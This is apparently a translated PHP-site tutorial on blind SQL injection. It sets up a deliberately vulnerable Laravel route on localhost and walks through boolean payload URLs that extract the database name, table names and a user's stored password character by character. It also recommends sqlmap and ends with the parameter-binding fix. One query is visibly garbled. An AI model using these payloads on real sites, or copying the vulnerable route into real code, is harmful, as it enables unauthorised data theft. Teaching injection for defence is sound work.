Rumah > Artikel > rangka kerja php > Menghuraikan prinsip suntikan buta SQL melalui contoh kelemahan laravel
Artikel ini membawakan anda pengetahuan yang berkaitan tentang laravel terutamanya cara menerangkan prinsip suntikan buta SQL dengan mencipta kelemahan laravel Yang dipanggil suntikan buta bermakna tiada tindak balas ralat pelayan. Mari kita lihat serangan suntikan selesai apabila memaparkannya. Saya harap ia akan membantu semua orang.
[Cadangan berkaitan: tutorial video laravel]
Persekitaran
composer create-project laravel/laravel lar9 // 安装laravel9 // 编辑.env 修改为DEBUG=false 配置数据库 DEBUG=false DB_HOST=.... php artisan migrate php artisan serve // 启动 // 插入数据 insert into users(`name`,`email`,`password`) values('xxh','4******qq.com','worldhello');
Buat Kerentanan
// routes/web.php Route::get('/', function () { $id = request()->id; $user = \App\Models\User::whereRaw('id = '.$id)->first(); return $user->name ?? ''; }); // 最后转换的sql是: select * from users where id = $id
Ujian
http://127.0.0.1:8000/?id=1' // 500 http://127.0.0.1:8000/?id=1 and 1=2 // select * from users where id = 1 and 1=2; 返回空 http://127.0.0.1:8000/?id=1 and 1=1 // select * from users where id = 1 and 1=1 返回xxh
Nama Pangkalan Data
Teka panjang nama data
url: http://127.0.0.1:8000/?id=1 and length(database()) = 1 select * from users where id = 1 and length(database()) = 1 select * from users where id = 1 and length(database()) = 2 // 一直循环下去
Teka nama pangkalan data
从第一步 知道了数据库名长度 `select * from users where id = 1 and substr(database(),1,1) =a` `select * from users where id = 1 and substr(database(),1,1) =b` // 一直循环下去 找到数据库名的第一个做字符 然后找第二个字符 直到找完数据库名的长度
Akhir sekali: laravel_project
Nama jadual
Langkah berikut adalah serupa dengan meneka pangkalan data, jadi saya hanya akan menerangkannya secara ringkas.
information_schema
information_schema disertakan dengan mysql
Nama pangkalan data, nama jadual, jenis lajur, dsb. semuanya direkodkan menunjukkan bahawa anda perlu mendapatkannya daripada pangkalan data ini.
Teka bilangan jadual dalam laravel_project
url: http://127.0.0.1:8000/?id=1 and (select count(*) from information_schema.tables where table_schema ="laravel_project" ) = 5 mysql> select count(*) from information_schema.tables where table_schema ="laravel_projeelect count(column_name) from information_schema.columns where table_name= ’usersct"; +----------+ | count(*) | +----------+ | 5 | +----------+
Teka panjang nama jadual pertama
Dengan [ Teka Panjang nama data] Tidak banyak.
Teka nama jadual pertama
url: http://127.0.0.1:8000/?id=1 and ( select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1) = 'f' mysql> select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1; +------------------------+ | substr(table_name,1,1) | +------------------------+ | f | +------------------------+ // 得出第一个表的第一个字段是f 然后查第
Akhirnya nama jadual pertama ialah: failed_jobs
Teka medan
Logiknya sama seperti meneka jadual.
select count(column_name) from information_schema.columns where table_name= 'failed_jobs'; // fail_jobs字段总数
Teka data
Data ialah perkara yang paling penting.
Oleh kerana failed_jobs tidak mempunyai data, saya menukarnya kepada pengguna.
pengguna mempunyai medan kata laluan.
mysql> select substr((select password from users limit 0,1),1,1); +----------------------------------------------------+ | substr((select password from users limit 0,1),1,1) | +----------------------------------------------------+ | w | +----------------------------------------------------+ 得出第一个是w,存起来,最后判断 mysql> select substr((select password from users limit 0,1),1,2); +----------------------------------------------------+ | substr((select password from users limit 0,1),1,2) | +----------------------------------------------------+ | wo | +----------------------------------------------------+ 第二个值为o 用第一个值 + 第二个值作为盲注
......
Pertahanan
(Kadang-kadang di mana tidak memenuhi keperluan, anda perlukan whereRaw)
Jika perlu, ingat untuk mengikat.
Route::get('/', function () { $id = request()->id; $user = \App\Models\User::whereRaw('id = ?',[$id])->first(); return $user->name ?? ''; });
Selagi anda menggunakan rangka kerja dengan selamat, tidak akan ada kelemahan.
Projek lama itu penuh dengan kelemahan.
Pada zaman ini, mencari kelemahan adalah sukar untuk dicapai.
Ps
Demi kesederhanaan, carian termudah digunakan di atas.
Anotasi buta manual harus menggunakan carian binari.
select * from users where id = 1 and substr(database(),1,1) ='a'; 换成二分: select * from users where id = 1 and ascii(substr(database(),1,1)) > 99;
Sebaik-baiknya gunakan alat sqlmap untuk mengimbas keluar terus.
[Cadangan berkaitan: tutorial video laravel]
Atas ialah kandungan terperinci Menghuraikan prinsip suntikan buta SQL melalui contoh kelemahan laravel. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!